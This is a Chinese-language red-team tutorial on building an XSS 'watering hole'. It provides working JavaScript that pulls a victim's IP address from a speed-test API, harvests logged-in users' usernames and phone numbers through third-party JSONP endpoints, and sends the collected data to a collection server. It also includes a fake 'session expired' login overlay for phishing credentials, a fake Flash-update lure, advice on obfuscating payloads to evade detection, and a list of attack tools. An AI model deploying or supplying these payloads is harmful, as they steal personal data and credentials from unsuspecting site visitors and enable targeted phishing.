XSS水坑攻击与利用
一、XSS漏洞
在日常的红队攻防中,XSS漏洞常常被忽视,很多攻击者更加关注应用系统的高危漏洞,并试图利用0day/Nday漏洞快速建立据点。然而,在面对一些具有较高安全防护的目标单位时,0day/Nday漏洞的效果并不明显,甚至可能被防守方提前发现并修复以预防未知漏洞的利用。与此相比,XSS漏洞往往容易发现,一场攻防演练中通常会挖掘到几个Self-XSS、Dom-XSS漏洞。然而,由于攻防演练的周期较短,部署监控来利用XSS漏洞需要耗费大量时间,性价比并不高,因此通常会被直接忽略。
传统的XSS漏洞利用通常使用恶意的JavaScript代码来尝试获取目标应用系统的Cookie,以获取目标用户在当前应用系统上的凭证。然而,随着浏览器和相关安全策略的发展,获取Cookie的难度逐渐增加。本文将介绍如何利用XSS漏洞制作一个水坑,以达到最大化的收益。
二、技术原理
2.1 蜜罐技术
先来了解下蜜罐技术,在网络攻防演习中,防守方为了保护设备、资源免受到网络攻击,会在特意的网络节点布置诱饵来欺骗攻击者,即蜜罐,来欺骗攻击者,让他们白费力气。部分蜜罐提供信息收集的功能,当攻击者进入蜜罐的一瞬间,可以获取到一些攻击者的相关信息数据,为防御工作提供重要信息。
从功能上看,蜜罐可以被看作是事先部署好的水坑。不同于传统的水坑,蜜罐专门为攻击者设计,通过在互联网上预先部署相关的蜜罐应用,诱使攻击者中招。这样就可以更好地了解攻击者的行为和策略,从而提高网络防御的能力。
2.2 “XSS蜜罐”
那么如果将蜜罐的信息收集模块独立出来,结合XSS漏洞实现一个“XSS蜜罐”, 应用到攻防演练中,当攻击者在某个网页插入恶意的JavaScript代码后,一旦有用户访问携带该恶意代码的页面,“XSS蜜罐” 将触发信息收集功能,从第三方应用系统获取敏感信息,(IP,邮箱,手机号等) 为后续针对性的钓鱼和应用系统攻击提供支持。
其实这类功能已有类似的实现
例如: XSS平台
以https://xss.pt/为例子,默认模块提供了基本的探针、Cookie获取、以及POST/GET的AJAX请求操作,功能相对较少,VIP等付费用户提供了获取用户真实IP、GPS经纬度、摄像头拍照上传等相关功能模块,这类功能模块更多应用是在BC、电诈等项目上,而在攻防演练对抗中,以上模块并不能带来太大的实际作用。
三、利用XSS实现自主攻击
3.1 同源策略
蜜罐中的信息收集大部分都来自于未做请求限制的API和JSONP接口以及少部分XSS漏洞,那么要利用XSS漏洞去发送请求就需要了解到同源策略。
同源策略是浏览器的一个重要安全策略,是指"协议+域名+端口" 三者相同,即便两个不同的域名指向同一个IP,也不是同源。
同源策略限制的内容:
- a. Cookie、LocalStorge、IndexedDB等存储内容
- b. DOM节点
- c. AJAX请求,不同源会被拦截
当攻击者在站点A植入恶意XSS代码时,一旦有用户浏览包含恶意XSS代码页面时,会自动向第三方应用系统发起请求获取敏感信息,但第三方应用系统与包含恶意XSS代码的系统属于不同源,请求会被阻断。
Cookie只要domain相同,不管是否同源都会携带。
Demo:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://mi.xxx.xxxx.com/cgi/dns?action=getUserInfo", true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = xhr.responseText;
console.log(response);
}
};
xhr.send();
</script>
本地访问html,会向https://mi.xxx.xxxx.com/cgi/dns?action=getUserInfo地址发起一个GET型的AJAX请求。
可以看到请求被拦截,并提示策略信息 strict-origin-when-cross-origin ,因为和目标请求地址并不是同源,属于跨域,因此会触发浏览器的同源策略。
跨域问题的解决方法
- JSONP
JSONP允许在不同域之间进行跨域通信,而不受浏览器的同源策略的限制,基于动态创建 <script>
标签来实现跨域请求
- CORS
CORS(Cross-Origin Resource Sharing,跨源资源共享)是一种浏览器机制,用于控制跨域请求的安全性。它允许服务器指定在响应中哪些来源(域、协议和端口)被允许访问其资源。
- postMessage
postMessage 是一个 JavaScript API,用于在不同的窗口、标签页或iframe之间进行跨域通信。它提供了一种安全的方式来发送消息并在目标窗口中接收消息。
.....
在蜜罐中比较常见的是JSONP和postMessage,CORS需要服务器和客户端同时约定。
3.2 JSONP实现基础用户画像
实现效果: 用户在浏览含有XSS恶意代码的页面时,向第三方应用JSONP接口发起请求,获取当前用户基本信息
这种方式其实就是蜜罐中的信息收集模块,将其独立出来转换为红队攻击手段,在攻防演练中可以将XSS漏洞收益最大化,可以快速收集一些联系方式等相关信息,方便后期群发钓鱼等,JSONP接口可以针对性的挖掘或从一些蜜罐中扒取。
比较常见的第三方应用如某度,某Q,某易等产品,均可作为主要信息收集来源,但这类jsonp大多数已经被修复了,需要挖掘或者用XSS实现替代。
1.获取用户IP信息
这个实现起来比较容易,有很多类似的接口均可以实现,且大多数没有做策略限制。以测速网为例子,https://tisu-api-v3.speedtest.cn/speedUp/query 接口可以准确获取到用户的ip地址,非专线宽带可以获取到用户的宽带号。
此接口没有做任何访问策略,因此使用传统的AJAX请求也可以调用。
Demo:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://tisu-api-v3.speedtest.cn/speedUp/query', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.onload = function() {
if (xhr.status === 200) {
var response = xhr.responseText;
alert(response)
} else {
console.log('请求失败:' + xhr.status);
}
};
xhr.send();
2.某度信息收集
JSONP接口:
https://istats.xxx.com/portal/operation/getinquiry?ajax=1&accessid=&device=h5&rule_type=&callback=jQuery100167302888410264081689746868176jsonp1689747320405
此接口为某度“加星”产品的JSONP,由于某度的身份认证是根据Cookie中的BUSS_BFESS键值进行身份判定的,在登陆后BUSS_BFESS的域为: badu.com,在整个ba*du.com域名下均有效,包括所有子域名。
因此,只要在任何一个某度站点上进行了用户登录,且请求的地址符合Cookie的域名策略(cookie的domain属性),那JSONP请求就会带上cookie,访问其他站点会自动登录导致蜜罐可以利用此特性寻找其他子域名下的JSONP接口获取到相关的用户敏感信息。
已登录情况下会返回用户名、头像、以及脱敏后的手机号,可以通过相关技术进行反查定位到具体的某度贴吧用户等
编写JS代码:
function handleResponse(response) {
console.log(response);
var logininfo="id:"+JSON.parse(response).loginInfo.uname+"Phone:"+JSON.parse(response).loginInfo.phone
alert(logininfo);
}
var callbackName = 'jsonp' + Date.now();
var script = document.createElement('script');
script.src = 'https://xxx.xxxx.com/portal/operation/getinquiry?ajax=1&accessid=&device=h5&rule_type=&callback=' + callbackName;
window[callbackName] = function(response) {
handleResponse(response);
document.body.removeChild(script);
delete window[callbackName];
};
document.body.appendChild(script);
3.数据回传
将获取到相关的信息后需要将数据进行整合回传到服务器上,以AJAX请求进行传输 ,这里的AJAX只管发送,不管返回,因此不受同源策略影响。
Demo:
<!DOCTYPE html>
<html>
<head>
<title>JSONP 请求示例</title>
</head>
<body>
<h1>JSONP 请求示例</h1>
<script>
function ajaxRequest(method, url, data, successCallback, errorCallback) {
const xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.setRequestHeader('Content-Type', 'text/plain');
xhr.onload = function() {
if (xhr.status === 200) {
successCallback(xhr.responseText);
} else {
errorCallback(xhr.status);
}
};
xhr.onerror = function() {
errorCallback(xhr.status);
};
xhr.send(data);
}
function jsonpRequest(url, callback) {
const callbackName = 'jsonp' + Date.now();
const handleResponse = (response) => {
callback(response);
document.body.removeChild(script);
delete window[callbackName];
};
const script = document.createElement('script');
script.src = `${url}&callback=${callbackName}`;
document.body.appendChild(script);
window[callbackName] = handleResponse;
}
ajaxRequest('GET', 'https://tisu-api-v3.speedtest.cn/speedUp/query', null, function(response) {
const addr = JSON.parse(response).data.addr;
jsonpRequest('https://istats.xxxx.com/portal/operation/getinquiry?ajax=1&accessid=&device=h5&rule_type=', function(response) {
const loginInfo = JSON.parse(response).loginInfo;
const loginInfoString = `id: ${loginInfo.uname}, Phone: ${loginInfo.phone}`;
ajaxRequest('POST', 'http://127.0.0.1:9002', JSON.stringify({ addr, loginInfoString }), function(response) {
console.log('Data sent successfully to demo.com/api');
});
});
});
</script>
</body>
</html>
用户在某度登录的情况下访问,可直接获取相关信息。
3.3 业务系统信息收集
一些厂商购买的第三方业务系统往往也会存在JSONP问题,如某凌OA,用户在登录的情况下访问
third/mail/thinkmail/mailDetailsInfo.jsp?callback=Jsonp112312,地址可以获取到相关的敏感信息。
如果目标单位部署了此OA系统,那么可以配合上面的JSONP批量获取一些登录邮箱信息以及userid等,实际环境中不止此OA拥有JSONP,需要日常积累汇总。
3.4 XSS水坑
在实际攻防演练中,JSONP的效果是非常有限的,需要第三方应用系统的JSONP漏洞支撑,一旦漏洞被修复,就无法再获取相关的敏感信息。因此,JSONP所提供的信息更多的是一些辅助作用,需要利用XSS将访问用户引入到布置的水坑中。
Flash水坑
比较常见的一个攻击思路,Flash曾经在网页设计和浏览器中广泛使用,攻击者可利用此特性,提前部署一个恶意水坑页面,利用XSS漏洞将访问用户引入到对应的水坑页面,诱导其下载“Flash更新/崩溃修复”等组件。
工具:
弹窗式水坑
需要结合场景,当用户访问含有XSS代码的页面时,伪装其会话过期,需要重新登录。利用JS在HTML中创建一个登录表单,要求用户进行输入。
DEMO:
<script>
function showLoginBox() {
var loginBox = document.createElement('div');
loginBox.id = 'loginBox';
loginBox.style.display = 'block';
loginBox.style.position = 'fixed';
loginBox.style.top = '50%';
loginBox.style.left = '50%';
loginBox.style.transform = 'translate(-50%, -50%)';
loginBox.style.border = '1px solid #ccc';
loginBox.style.padding = '20px';
loginBox.style.backgroundColor = '#f9f9f9';
loginBox.innerHTML = `
<h2>Login</h2>
<label for="username">Username:</label>
<input type="text" id="username">
<br>
<label for="password">Password:</label>
<input type="password" id="password">
<br>
<button onclick="login()">Login</button>
`;
document.body.appendChild(loginBox);
}
function hideLoginBox() {
var loginBox = document.getElementById('loginBox');
loginBox.style.display = 'none';
}
function login() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
alert('登录成功!');
hideLoginBox();
}
window.onload = showLoginBox;
</script>
四、其他
4.1 漏洞挖掘/同源策略绕过
上面只实现了部分简单功能的实现,更多的是根据场景挖掘对应的JSONP接口或XSS漏洞,下面将介绍如何在实际场景中挖掘可利用的XSS漏洞,或可利用的跨域接口来配合我们的XSS漏洞。
常见的同源策略绕过有JSONP,PostMessage,CORS,前者应用较多,PostMessage需要通信双方配合,CORS需要根据服务器配置,当一个网页通过HTTP请求从不同的域获取数据或资源时,浏览器会使用CORS来检查服务器是否允许该请求,如果服务器没有配置CORS,浏览器将阻止跨域请求,从而导致请求失败。
因此我们可以根据CORS的配置来挖掘一些逻辑问题:
- Access-Control-Allow-Origin:
指定了哪些域名可以访问服务器的资源。可以设置为单个或多个域名以及使用通配符(*)表示允许任何域名进行访问。
- Access-Control-Allow-Methods:
指定了允许哪些HTTP请求方法允许用于跨域请求,常见的方法有GET、POST、PUT、DELETE等。服务器可以根据需要设置允许的方法。
- Access-Control-Allow-Headers:
指定了哪些HTTP请求头允许被包含在跨域请求中。例如,如果请求需要包含自定义的头部信息,服务器需要明确指定允许的头部信息。
- Access-Control-Expose-Headers:
定义了哪些HTTP响应头可以被前端JavaScript代码访问。默认情况下,只有少数安全头(如Cache-Control、Content-Language、Content-Type、Expires、Last-Modified等)是可以被前端访问的,其他的需要通过这个配置项来明确允许。
- Access-Control-Allow-Credentials:
如果请求中包含凭证信息(如cookies、HTTP认证等),那么服务器需要设置该配置项为true,以允许跨域请求携带凭证信息。
- Access-Control-Max-Age:
这个配置项定义了预检请求(Preflight Request)的缓存时间,即在该时间段内不需要再次发送预检请求,以提高跨域请求的性能。
以及Cookie相关的配置: SameSite属性:
SameSite用于控制跨站点(Cross-Site)请求时是否发送Cookie。它是为了提高Web应用程序的安全性而引入的。SameSite拥有三个设置:
- SameSite=None:
允许跨站点请求发送Cookie。通常在支持跨站点请求的场景下使用,比如第三方登录(OAuth)和嵌入式资源。
- SameSite=Lax:
默认值。在某些跨站点请求情况下不发送Cookie,比如跨站点POST请求、跨站点GET请求(但是请求方法不是安全的HTTP方法,比如POST)以及某些受限的跨站点跳转。
- SameSite=Strict:
完全禁止跨站点请求发送Cookie。只有当请求的网址与Cookie的来源网址完全一致时,才会发送Cookie。
案例一:
某站点Cookie设置添加了SameSite=None ,允许跨站点请求发送Cookie。
如果某网站存在登录后的漏洞,并且该网站错误地配置了SameSite=None,那么可能会在跨站请求时携带当前用户的Cookie信息。若用户的会话尚未过期,攻击者可利用XSS漏洞跨站访问登录后的相关接口信息。
- Access-Control-Allow-Origin和Access-Control-Allow-Credential的相互关系
如果服务器端设置了Access-Control-Allow-Credentials: true,前端代码中的xhr.withCredentials必须设置为true,否则浏览器将不会发送Cookie。在设置Access-Control-Allow-Credentials: true时,浏览器还会限制Access-Control-Allow-Origin头部不能为通配符*,必须明确指定允许的来源域。这是为了保护用户隐私和安全。
通过这些设置,才能够在跨域请求中携带Cookie,并且服务器设置的Access-Control-Allow-Credentials: true将会允许跨域请求携带凭据。
例如:
某站点设置了Access-Control-Allow-Credentials为true,Access-Control-Allow-Origin为通配符。
在进行跨域请求时并不能携带Cookie,因为当Access-Control-Allow-Credentials为true时,Access-Control-Allow-Origin不能设置为通配符而是具体的域名
4.2 混淆
未经混淆的JS代码很容易被识别,或者被一些防护软件检测到,需要进行混淆来绕过。可以使用一些免费的混淆工具:
例如: JShaman http://www.jshaman.com/
免费版的混淆效果可以打乱代码的易读性。
5.案例及工具汇总
5.1 类似攻击案例
- 看我如何利用社会工程学+XSS组合拳进行水坑攻击
- 网络攻防|XSS Flash弹窗钓鱼
- 独家分享:跨站脚本攻击XSS详解
- 红队技巧:基于反向代理的水坑攻击
- 浅谈水坑攻击—Google浏览器上线CS
- 定制化的渗透测试 - 水坑攻击
- XSS获取登录页浏览器自动填充的密码
- 利用JSONP进行水坑攻击
- 通过Swagger UI DOM-XSS窃取用户凭据
10.XSS 漏洞及其挖掘方法
5.2 参考工具
- Beef-Xss (BeEF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具, 利用XSS漏洞Hook浏览器)
https://github.com/beefproject/beef
- XSS平台 (XSS平台,提供探针、AJAX请求、HttpOnly Bypass等基础模块)
https://xss.pt/xss.php?do=login
- Flash水坑 (提供Flash最新前端模版,方便快速搭建部署水坑站点)
https://github.com/crow821/FakeFlash
- EvilQR (Evilqr是用Python编写的工具,可以使用一些恶意或类似的URL生成二维码)
https://github.com/Harrizzon/EvilQR
- Httrack ( httrack是一款网站镜像程序 )